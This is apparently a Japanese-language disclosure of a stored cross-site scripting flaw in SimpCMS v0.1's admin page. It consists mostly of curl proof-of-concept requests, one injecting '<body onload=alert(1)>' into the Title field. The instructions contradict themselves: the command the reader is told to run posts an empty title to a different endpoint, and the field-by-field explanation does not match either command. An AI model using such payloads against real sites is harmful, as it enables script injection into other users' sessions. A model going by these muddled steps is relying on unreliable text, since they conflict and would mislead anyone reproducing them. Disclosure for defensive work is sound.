
SimpCMS v0.1 におけるクロスサイトスクリプティング (XSS) の公開 - /SimpCMS/admin.php
SimpCMS v0.1 のクロスサイトスクリプティング (XSS) 脆弱性により、攻撃者は /admin.php の Title フィールドに注入された細工されたペイロードを介して、任意の Web スクリプトまたは HTML を実行できます。
SimpCMS の管理インターフェースにログインしたら、ブラウザのインスペクタ要素の Application タブで確認した各 Cookie 値をコピーし、次の curl リクエストを送信します:
curl -X POST "http://site.com/SimpCMS/admin/index.php" -d "title=&abbrev=random&newSector=" -b "PHPSESSID=c4v4tjh5fpv4po3k5dp5mrb8r0"


SimpCMS ソフトウェアで観測された初期パラメータでは以下の cURL コマンドが生成されましたが、後に更新されました:
curl -X POST "http://site.com/SimpCMS/admin.php" -d "title=%3Cbody+onload%3Dalert%281%29%3E&text=ee&cat=something&main=1&submit=submit" -b "username=admin; password=PARAMVALUE"
説明:
- curl: URL でデータを転送するためのコマンドラインツール。
- -X POST: 使用するリクエストメソッドを指定します (POST)。
- "http://site.com/SimpCMS/admin.php": リクエストの送信先 URL。
- -d "title=&abbrev=random&newSector=" -b "PHPSESSID=c4v4tjh5fpv4po3k5dp5mrb8r0" - POST リクエストのペイロード。
このコマンドをターミナルで実行して、XSS ペイロードを含む POST リクエストを送信します。 /SimpCMS メインサイトにアクセスすると、XSS が表示されます。